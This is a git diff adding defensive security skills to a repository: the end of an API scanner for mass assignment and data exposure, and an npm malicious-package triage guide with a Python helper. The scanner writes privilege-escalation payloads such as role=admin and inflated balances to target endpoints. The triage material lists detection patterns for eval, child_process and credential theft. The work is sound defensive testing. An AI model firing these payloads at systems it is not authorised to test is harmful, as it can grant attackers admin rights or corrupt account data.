sets and injecting extra properties. +""" + +import argparse +import json +import sys +from copy import deepcopy + +try: + import requests +except ImportError: + print("Install requests: pip install requests") + sys.exit(1) + +SENSITIVE_PATTERNS = { + "critical": ["password", "password_hash", "secret", "token", "api_key", + "private_key", "access_token", "refresh_token"], + "high": ["ssn", "social_security", "tax_id", "credit_card", "card_number", + "cvv", "bank_account", "routing_number"], + "medium": ["salary", "income", "internal_notes", "role", "permissions", + "is_admin", "is_superuser", "session_id", "ip_address"], + "low": ["phone", "address", "date_of_birth", "dob", "gender"] +} + +MASS_ASSIGNMENT_PAYLOADS = [ + ("role", "admin"), ("is_admin", True), ("is_verified", True), + ("email_verified", True), ("account_type", "premium"), + ("discount_rate", 100), ("permissions", ["admin", "write", "delete"]), + ("account_balance", 999999), ("subscription_tier", "enterprise"), +] + + +def classify_field(field_name): + lower = field_name.lower().split(".")[-1] + for severity, patterns in SENSITIVE_PATTERNS.items(): + for p in patterns: + if p in lower: + return severity.upper() + return None + + +def flatten_keys(obj, prefix=""): + keys = [] + for k, v in obj.items(): + full = f"{prefix}.{k}" if prefix else k + keys.append(full) + if isinstance(v, dict): + keys.extend(flatten_keys(v, full)) + return keys + + +def test_excessive_exposure(base_url, endpoint, expected_fields, headers): + findings = [] + url = f"{base_url.rstrip('/')}{endpoint}" + try: + resp = requests.get(url, headers=headers, timeout=10) + if resp.status_code != 200: + return findings + data = resp.json() + objects = data if isinstance(data, list) else [data] + if isinstance(data, dict) and "data" in data: + inner = data["data"] + objects = inner if isinstance(inner, list) else [inner] + for obj in objects[:5]: + if not isinstance(obj, dict): + continue + response_fields = set(flatten_keys(obj)) + unexpected = response_fields - set(expected_fields) + for field in unexpected: + sev = classify_field(field) + if sev: + findings.append({ + "endpoint": endpoint, "method": "GET", + "type": "excessive_exposure", "severity": sev, + "property": field, + "detail": f"Unexpected sensitive field '{field}' in response" + }) + except (requests.RequestException, json.JSONDecodeError) as e: + findings.append({"error": str(e)}) + return findings + + +def test_mass_assignment(base_url, endpoint, headers, method="PUT"): + findings = [] + url = f"{base_url.rstrip('/')}{endpoint}" + try: + original = requests.get(url, headers=headers, timeout=10) + original_data = original.json() if original.status_code == 200 else {} + except (requests.RequestException, json.JSONDecodeError): + original_data = {} + + for field_name, injected_value in MASS_ASSIGNMENT_PAYLOADS: + if original_data.get(field_name) == injected_value: + continue + test_data = deepcopy(original_data) + test_data[field_name] = injected_value + try: + h = {**headers, "Content-Type": "application/json"} + if method == "PUT": + resp = requests.put(url, json=test_data, headers=h, timeout=10) + elif method == "PATCH": + resp = requests.patch(url, json={field_name: injected_value}, headers=h, timeout=10) + else: + resp = requests.post(url, json=test_data, headers=h, timeout=10) + if resp.status_code in (200, 201, 204): + verify = requests.get(url, headers=headers, timeout=10) + if verify.status_code == 200 and verify.json().get(field_name) == injected_value: + sev = "CRITICAL" if field_name in ("role", "is_admin", "permissions") else "HIGH" + findings.append({ + "endpoint": endpoint, "method": method, + "type": "mass_assignment", "severity": sev, + "property": field_name, + "detail": f"Injected {field_name}={injected_value} accepted" + }) + if field_name in original_data: + requests.patch(url, json={field_name: original_data[field_name]}, + headers=h, timeout=10) + except requests.RequestException: + continue + return findings + + +def main(): + parser = argparse.ArgumentParser(description="BOPLA Vulnerability Scanner (OWASP API3:2023)") + parser.add_argument("--base-url", required=True, help="API base URL") + parser.add_argument("--endpoint", required=True, help="Endpoint to test (e.g. /api/v1/users/1)") + parser.add_argument("--token", help="Bearer token for Authorization header") + parser.add_argument("--expected-fields", nargs="+", default=[], help="Expected response fields") + parser.add_argument("--test", choices=["exposure", "mass_assignment", "both"], default="both") + parser.add_argument("--method", choices=["PUT", "PATCH", "POST"], default="PUT") + args = parser.parse_args() + + headers = {} + if args.token: + headers["Authorization"] = f"Bearer {args.token}" + + results = {"endpoint": args.endpoint, "findings": []} + if args.test in ("exposure", "both"): + results["findings"].extend( + test_excessive_exposure(args.base_url, args.endpoint, args.expected_fields, headers)) + if args.test in ("mass_assignment", "both"): + results["findings"].extend( + test_mass_assignment(args.base_url, args.endpoint, headers, args.method)) + + results["total_findings"] = len(results["findings"]) + results["by_severity"] = {} + for f in results["findings"]: + sev = f.get("severity", "UNKNOWN") + results["by_severity"][sev] = results["by_severity"].get(sev, 0) + 1 + + print(json.dumps(results, indent=2)) + + +if __name__ == "__main__": + main() diff --git a/.claude/skills/detecting-malicious-npm-packages/LICENSE b/.claude/skills/detecting-malicious-npm-packages/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/detecting-malicious-npm-packages/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/.claude/skills/detecting-malicious-npm-packages/SKILL.md b/.claude/skills/detecting-malicious-npm-packages/SKILL.md new file mode 100644 index 0000000..9e25f06 --- /dev/null +++ b/.claude/skills/detecting-malicious-npm-packages/SKILL.md @@ -0,0 +1,199 @@ +--- +name: detecting-malicious-npm-packages +description: Triage npm packages and lockfiles for install-script malware, credential exfiltration, and worming behavior using GuardDog, manual tarball inspection, and dynamic detonation with network/filesystem monitoring. Use when vetting a new dependency, reviewing a package.json/package-lock.json during code review, checking lockfiles against a supply-chain advisory's known-bad versions, or investigating a host suspected of installing a trojanized package. +domain: cybersecurity +subdomain: supply-chain-security +tags: +- supply-chain-security +- npm +- malware-analysis +- guarddog +- install-scripts +- exfiltration +- static-analysis +- threat-detection +version: '1.0' +author: mahipal +license: Apache-2.0 +nist_csf: +- DE.CM-09 +mitre_attack: +- T1195.002 +--- +# Detecting Malicious npm Packages + +> **Legal Notice:** Analyze packages in an isolated, disposable environment. Some malicious packages execute on install (`npm install` runs lifecycle scripts automatically) or on import. Never analyze a suspect package on a workstation with credentials, SSH keys, cloud tokens, or network access to production. This skill is for defensive analysis and authorized incident response only. + +## Overview + +The npm registry is the largest software package ecosystem in the world and the most heavily targeted by supply-chain attackers. Malicious packages reach victims through typosquatting (`expresss`, `crossenv`), dependency confusion, account/maintainer takeover (the 2025 Shai-Hulud worm and the `event-stream` compromise are canonical examples), and starjacking. The defining danger of npm is that `npm install` automatically runs `preinstall`, `install`, and `postinstall` lifecycle scripts with the developer's full privileges **before any application code is invoked** — so simply installing a package is enough to be compromised. Roughly 2% of npm packages use install scripts, which makes them both common and a powerful malware delivery vehicle. + +Typical malicious behaviors are: exfiltrating environment variables, `~/.npmrc` tokens, SSH keys, and cloud credentials to an attacker-controlled URL; opening reverse shells; dropping cryptominers; reading and posting `process.env`; obfuscating payloads with base64/eval; and self-propagating (worming) by stealing the maintainer's npm token and republishing trojanized versions of other packages they own. + +This skill provides a repeatable triage workflow centered on **GuardDog** (Datadog's open-source heuristic scanner built on Semgrep + metadata rules), supplemented by manual tarball inspection, lockfile-based compromise checks against known-bad version lists, and dynamic detonation with network and filesystem monitoring. The goal is to decide, quickly and safely, whether a given package or a project's dependency tree contains malicious code. + +## When to Use + +- Triaging a specific npm package before adding it as a dependency. +- Vetting a full `package.json` / `package-lock.json` during code review or onboarding a third-party library. +- Responding to a supply-chain advisory (e.g., a worm campaign) and needing to check whether your lockfiles pulled a known-bad version. +- Investigating an endpoint or CI runner suspected of having installed a trojanized package. +- Building a pre-install gate in CI/CD that blocks packages exhibiting malicious indicators. + +## Prerequisites + +- An isolated VM or disposable container with **no production credentials** and snapshot/rollback capability. +- GuardDog: + ```bash + pip install guarddog + # or run via Docker without local install: + docker pull ghcr.io/datadog/guarddog + alias guarddog='docker run --rm ghcr.io/datadog/guarddog' + ``` +- Node.js + npm (use `--ignore-scripts` when downloading for analysis). +- `jq`, `tar`, and optionally OSV-Scanner for known-vulnerability/known-malicious cross-checks: + ```bash + go install github.com/google/osv-scanner/cmd/osv-scanner@v1 + ``` +- For dynamic analysis: a sandbox with egress logging (e.g., `tcpdump`, a DNS sink, or a network namespace). + +## Objectives + +- Statically scan an npm package (or a whole dependency tree) for malicious heuristics without executing it. +- Identify install-script abuse, environment/credential exfiltration, obfuscation, and silent process execution. +- Cross-check lockfile-pinned versions against known-malicious version lists / OSV. +- Safely detonate a suspect package and observe network and filesystem behavior. +- Extract indicators of compromise (URLs, IPs, hashes) for blocking and threat intel. +- Produce a defensible verdict (benign / suspicious / malicious) with evidence. + +## MITRE ATT&CK Mapping + +| Technique ID | Technique Name | Relevance | +|--------------|----------------|-----------| +| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Core technique — trojanized npm package delivered through the registry. | +| T1059.007 | Command and Scripting Interpreter: JavaScript | Malicious install scripts / module code execute attacker JavaScript. | +| T1552.001 | Unsecured Credentials: Credentials In Files | Packages steal `~/.npmrc`, `.env`, SSH keys, and cloud credential files. | +| T1041 | Exfiltration Over C2 Channel | Stolen secrets posted to attacker HTTP(S) endpoints. | +| T1027 | Obfuscated Files or Information | base64/eval/hex obfuscation hides the payload from review. | + +## Workflow + +### 1. Download the package without executing it +Fetch the tarball with scripts disabled so nothing runs during acquisition. +```bash +mkdir triage && cd triage +# Resolve the tarball URL and download it (no install, no scripts) +npm pack express@4.18.2 # produces express-4.18.2.tgz +# or for an arbitrary version: +npm view some-pkg@1.2.3 dist.tarball +curl -sL "$(npm view some-pkg@1.2.3 dist.tarball)" -o some-pkg.tgz +tar -xzf some-pkg.tgz # extracts into ./package +``` + +### 2. Scan a single package with GuardDog +GuardDog applies metadata + source heuristics and prints which rules matched. +```bash +# Scan the latest published version from the registry +guarddog npm scan express + +# Scan a specific version +guarddog npm scan some-pkg --version 1.2.3 + +# Scan the local tarball / extracted directory you downloaded above +guarddog npm scan ./some-pkg.tgz +guarddog npm scan ./package/ +``` + +### 3. Verify an entire dependency tree +`verify` scans every dependency declared in a manifest — ideal for code review. +```bash +guarddog npm verify /path/to/repo/package.json +``` + +### 4. Focus on the highest-signal heuristics +Filter to the npm rules most indicative of malware to cut noise during triage. +```bash +guarddog npm scan some-pkg \ + --rules npm-install-script \ + --rules npm-serialize-environment \ + --rules npm-exec-base64 \ + --rules npm-silent-process-execution \ + --rules npm-obfuscation \ + --rules shady-links \ + --rules typosquatting +``` + +### 5. Emit machine-readable output for pipelines +JSON for tooling, SARIF for GitHub code scanning. +```bash +guarddog npm scan some-pkg --output-format=json > guarddog.json +guarddog npm verify package.json --output-format=sarif > guarddog.sarif +``` + +### 6. Manually inspect lifecycle scripts and source +Lifecycle scripts are the first thing to read; obfuscation and outbound URLs are red flags. +```bash +# Show all lifecycle hooks +jq '.scripts' package/package.json + +# Hunt for exfiltration / execution primitives in the source +grep -rEn "child_process|exec\(|spawn|eval\(|Buffer\.from\(.*base64|process\.env|https?://" package/ \ + --include='*.js' --include='*.ts' | head -50 +``` + +### 7. Cross-check lockfiles against known-malicious versions +During an active campaign, compare pinned versions to the advisory's bad-version list, and run OSV. +```bash +# Extract resolved name@version pairs from a v3 lockfile +jq -r '.packages | to_entries[] | select(.key|startswith("node_modules/")) | "\(.key|ltrimstr("node_modules/"))@\(.value.version)"' package-lock.json + +# OSV-Scanner flags known-vulnerable AND known-malicious (MAL-) advisories +osv-scanner --lockfile=package-lock.json +``` + +### 8. Detonate safely with monitoring (only if static is inconclusive) +Run the install inside a disposable, network-monitored sandbox. +```bash +# In a throwaway container / VM with egress capture running (tcpdump -w capture.pcap): +npm install ./some-pkg.tgz # scripts WILL run — sandbox only +# Baseline-diff the filesystem afterwards for writes outside node_modules, +# and inspect capture.pcap for unexpected DNS / HTTP beacons. +``` + +### 9. Extract and operationalize IOCs +Pull URLs, IPs, and hashes for blocking and intel sharing. +```bash +grep -rhoE "https?://[a-zA-Z0-9./?=_%:-]+" package/ | sort -u > urls.txt +sha256sum some-pkg.tgz package/*.js > hashes.txt +``` + +### 10. Run the bundled triage helper +`agent.py` orchestrates GuardDog, lifecycle-script inspection, and IOC extraction into one report. +```bash +python scripts/agent.py --package some-pkg --version 1.2.3 --output verdict.json +# or against a local tarball: +python scripts/agent.py --tarball ./some-pkg.tgz --output verdict.json +``` + +## Tools and Resources + +| Tool | Purpose | Source | +|------|---------|--------| +| GuardDog | Heuristic npm/PyPI/Go malware scanner | https://github.com/DataDog/guarddog | +| OSV-Scanner | Known-vulnerable & known-malicious (MAL-) advisory matching | https://github.com/google/osv-scanner | +| OSV malicious DB | Open-source malicious package advisories | https://github.com/ossf/malicious-packages | +| npm lifecycle docs | preinstall/install/postinstall semantics | https://docs.npmjs.com/cli/v10/using-npm/scripts | +| Datadog Security Labs | npm campaign writeups & rules | https://securitylabs.datadoghq.com/ | +| Semgrep | Rule engine GuardDog uses for source heuristics | https://semgrep.dev/ | + +## Validation Criteria + +- [ ] Package acquired with scripts disabled in an isolated environment. +- [ ] GuardDog `scan` run on the target version with results captured. +- [ ] Full dependency tree run through GuardDog `verify` where applicable. +- [ ] Lifecycle scripts (`preinstall`/`install`/`postinstall`) read and assessed. +- [ ] Lockfile versions cross-checked against OSV / known-bad lists. +- [ ] Dynamic detonation performed in a sandbox if static analysis was inconclusive. +- [ ] IOCs (URLs, IPs, hashes) extracted and recorded. +- [ ] Documented verdict (benign / suspicious / malicious) with supporting evidence. +- [ ] Malicious findings reported to the registry and shared as threat intel. diff --git a/.claude/skills/detecting-malicious-npm-packages/references/api-reference.md b/.claude/skills/detecting-malicious-npm-packages/references/api-reference.md new file mode 100644 index 0000000..4836752 --- /dev/null +++ b/.claude/skills/detecting-malicious-npm-packages/references/api-reference.md @@ -0,0 +1,54 @@ +# API and Command Reference + +## GuardDog (DataDog/guarddog) + +Install: `pip install guarddog` | Docker: `ghcr.io/datadog/guarddog` + +### Subcommands +| Command | Description | +|---------|-------------| +| `guarddog npm scan ` | Scan latest version from registry. | +| `guarddog npm scan --version X.Y.Z` | Scan a specific version. | +| `guarddog npm scan ` | Scan a local tarball or extracted directory. | +| `guarddog npm verify ` | Scan every dependency in a manifest. | +| `guarddog pypi scan ` | Same for PyPI. | +| `guarddog go scan ` / `guarddog go verify go.mod` | Go modules. | +| `guarddog rubygems scan ` | RubyGems. | + +### Common flags +| Flag | Description | +|------|-------------| +| `--output-format=json` | Machine-readable JSON. | +| `--output-format=sarif` | SARIF for GitHub code scanning. | +| `--rules ` (repeatable) | Run only the named rule(s). | +| `--exclude-rules ` | Exclude the named rule(s). | +| `--log-level debug` | Verbose diagnostics. | + +### Key npm heuristics +| Rule | Detects | +|------|---------| +| `npm-install-script` | preinstall/install/postinstall lifecycle scripts. | +| `npm-serialize-environment` | Exfiltration of environment variables. | +| `npm-exec-base64` | eval of base64-decoded payloads. | +| `npm-silent-process-execution` | Silent child-process execution. | +| `npm-obfuscation` | Common obfuscation patterns. | +| `shady-links` | Suspicious URLs in code. | +| `typosquatting` | Name similar to a popular package. | +| `potentially_compromised_email_domain` | Maintainer email on a lapsed domain. | + +## OSV-Scanner + +| Command | Description | +|---------|-------------| +| `osv-scanner --lockfile=package-lock.json` | Match pinned versions to OSV advisories incl. `MAL-` malicious entries. | +| `osv-scanner -r ` | Recursively scan a directory. | +| `osv-scanner --format json` | JSON output. | + +## npm acquisition (no execution) + +| Command | Description | +|---------|-------------| +| `npm pack @` | Download tarball without installing. | +| `npm view @ dist.tarball` | Print the tarball URL. | +| `npm install --ignore-scripts` | Install while skipping lifecycle scripts. | +| `jq '.scripts' package/package.json` | List lifecycle hooks. | diff --git a/.claude/skills/detecting-malicious-npm-packages/references/standards.md b/.claude/skills/detecting-malicious-npm-packages/references/standards.md new file mode 100644 index 0000000..4514e7b --- /dev/null +++ b/.claude/skills/detecting-malicious-npm-packages/references/standards.md @@ -0,0 +1,23 @@ +# Standards and Framework Mapping + +## MITRE ATT&CK + +| ID | Name | Rationale | +|----|------|-----------| +| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Core technique — trojanized package shipped through the npm registry. | +| T1059.007 | Command and Scripting Interpreter: JavaScript | Install scripts and module code run attacker JavaScript on the victim. | +| T1552.001 | Unsecured Credentials: Credentials In Files | Packages harvest `.npmrc`, `.env`, SSH keys, and cloud credential files. | +| T1041 | Exfiltration Over C2 Channel | Stolen data is POSTed to attacker HTTP(S) endpoints. | +| T1027 | Obfuscated Files or Information | base64/eval/hex obfuscation conceals the payload. | + +## NIST Cybersecurity Framework 2.0 + +| ID | Name | Rationale | +|----|------|-----------| +| DE.CM-09 | Computing hardware and software, runtime environments, and their data are monitored to find potentially adverse events | Static + dynamic triage of npm packages and lockfiles is the monitoring control that surfaces malicious dependencies. | + +## Supporting Standards + +- **OWASP Top 10 CI/CD Security Risks — CICD-SEC-03: Dependency Chain Abuse.** Malicious package ingestion is a primary dependency-chain abuse vector. +- **NIST SP 800-218 (SSDF) — PW.4 / PS.3.** Reuse and verify the integrity of acquired software components; triaging packages satisfies the verification practice. +- **SLSA provenance.** Verifying build provenance reduces the chance of consuming a tampered or republished package. diff --git a/.claude/skills/detecting-malicious-npm-packages/scripts/agent.py b/.claude/skills/detecting-malicious-npm-packages/scripts/agent.py new file mode 100644 index 0000000..5368ede --- /dev/null +++ b/.claude/skills/detecting-malicious-npm-packages/scripts/agent.py @@ -0,0 +1,171 @@ +#!/usr/bin/env python3 +""" +Malicious npm package triage helper. + +Orchestrates GuardDog static scanning, lifecycle-script inspection, and IOC +extraction for a single npm package (by name@version) or a local tarball, and +emits a structured verdict report. + +WARNING: download with scripts disabled and run only in an isolated, disposable +environment with no production credentials. Defensive / authorized use only. +""" +import argparse +import json +import re +import shutil +import subprocess +import sys +import tarfile +import tempfile +import urllib.request +from pathlib import Path + +URL_RE = re.compile(r"https?://[A-Za-z0-9./?=_%:&#-]+") +SUSPECT_RE = re.compile( + r"child_process|\bexec\s*\(|\bspawn\b|\beval\s*\(|Buffer\.from\([^)]*base64|process\.env", + re.IGNORECASE, +) +HIGH_SIGNAL_RULES = [ + "npm-install-script", + "npm-serialize-environment", + "npm-exec-base64", + "npm-silent-process-execution", + "npm-obfuscation", + "shady-links", + "typosquatting", +] + + +def run(cmd: list[str], timeout: int = 600) -> tuple[int, str, str]: + try: + p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) + return p.returncode, p.stdout, p.stderr + except FileNotFoundError: + return 127, "", f"command not found: {cmd[0]}" + except subprocess.SubprocessError as exc: + return 1, "", f"subprocess error: {exc}" + + +def guarddog_scan(target: str, version: str | None) -> dict: + if not shutil.which("guarddog"): + return {"error": "guarddog not installed (pip install guarddog)"} + cmd = ["guarddog", "npm", "scan", target, "--output-format=json"] + if version: + cmd += ["--version", version] + for rule in HIGH_SIGNAL_RULES: + cmd += ["--rules", rule] + rc, out, err = run(cmd) + try: + return {"returncode": rc, "result": json.loads(out)} if out.strip() else {"returncode": rc, "stderr": err} + except json.JSONDecodeError: + return {"returncode": rc, "raw": out, "stderr": err} + + +def download_tarball(name: str, version: str | None, dest: Path) -> Path | None: + spec = f"{name}@{version}" if version else name + rc, out, err = run(["npm", "view", spec, "dist.tarball"]) + if rc != 0 or not out.strip(): + print(f"[warn] could not resolve tarball for {spec}: {err}", file=sys.stderr) + return None + url = out.strip().splitlines()[-1] + tgz = dest / "package.tgz" + try: + urllib.request.urlretrieve(url, tgz) # noqa: S310 - registry URL from npm + return tgz + except Exception as exc: # noqa: BLE001 + print(f"[warn] download failed: {exc}", file=sys.stderr) + return None + + +def inspect_tarball(tgz: Path, workdir: Path) -> dict: + findings = {"lifecycle_scripts": {}, "suspicious_lines": [], "urls": []} + extract = workdir / "package" + try: + with tarfile.open(tgz, "r:gz") as tf: + members = [m for m in tf.getmembers() if not m.name.startswith(("/", ".."))] + tf.extractall(extract, members=members) # noqa: S202 - path-checked members + except (tarfile.TarError, OSError) as exc: + findings["error"] = f"extract failed: {exc}" + return findings + + pkg_json = next(extract.rglob("package.json"), None) + if pkg_json: + try: + data = json.loads(pkg_json.read_text(encoding="utf-8")) + findings["lifecycle_scripts"] = { + k: v for k, v in (data.get("scripts") or {}).items() + if k in ("preinstall", "install", "postinstall") + } + except (json.JSONDecodeError, OSError): + pass + + for src in extract.rglob("*.js"): + try: + text = src.read_text(encoding="utf-8", errors="ignore") + except OSError: + continue + for m in SUSPECT_RE.finditer(text): + findings["suspicious_lines"].append({"file": str(src.relative_to(extract)), "match": m.group(0)}) + findings["urls"].extend(URL_RE.findall(text)) + findings["urls"] = sorted(set(findings["urls"]))[:50] + findings["suspicious_lines"] = findings["suspicious_lines"][:50] + return findings + + +def verdict(gd: dict, insp: dict) -> str: + score = 0 + res = gd.get("result") + if isinstance(res, dict): + for v in res.get("results", res).values() if isinstance(res.get("results", res), dict) else []: + if v: + score += 2 + if insp.get("lifecycle_scripts"): + score += 2 + score += min(len(insp.get("suspicious_lines", [])), 5) + if score >= 6: + return "MALICIOUS (high confidence)" + if score >= 2: + return "SUSPICIOUS (manual review required)" + return "benign (no strong indicators)" + + +def main() -> int: + ap = argparse.ArgumentParser(description="npm malicious package triage") + ap.add_argument("--package", help="npm package name") + ap.add_argument("--version", help="specific version") + ap.add_argument("--tarball", help="path to a local .tgz instead of downloading") + ap.add_argument("--output", help="write JSON report") + args = ap.parse_args() + + if not args.package and not args.tarball: + ap.error("provide --package or --tarball") + + report: dict = {"package": args.package, "version": args.version} + with tempfile.TemporaryDirectory() as td: + work = Path(td) + if args.tarball: + tgz = Path(args.tarball) + report["guarddog"] = ( + guarddog_scan(str(tgz), None) if shutil.which("guarddog") else {"error": "no guarddog"} + ) + else: + report["guarddog"] = guarddog_scan(args.package, args.version) + tgz = download_tarball(args.package, args.version, work) + + report["inspection"] = inspect_tarball(tgz, work) if tgz and tgz.exists() else {"error": "no tarball"} + + report["verdict"] = verdict(report["guarddog"], report["inspection"]) + print(f"[+] verdict: {report['verdict']}") + if report["inspection"].get("lifecycle_scripts"): + print(f"[!] install scripts present: {report['inspection']['lifecycle_scripts']}") + if report["inspection"].get("urls"): + print(f"[i] {len(report['inspection']['urls'])} URL(s) found in source") + + if args.output: + Path(args.output).write_text(json.dumps(report, indent=2), encoding="utf-8") + print(f"[+] report written to {args.output}") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/LICENSE b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/LICENSE new file mode 100644 index 0000000..d885118 --- /dev/null +++ b/.claude/skills/detecting-typosquatting-packages-in-npm-pypi/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a 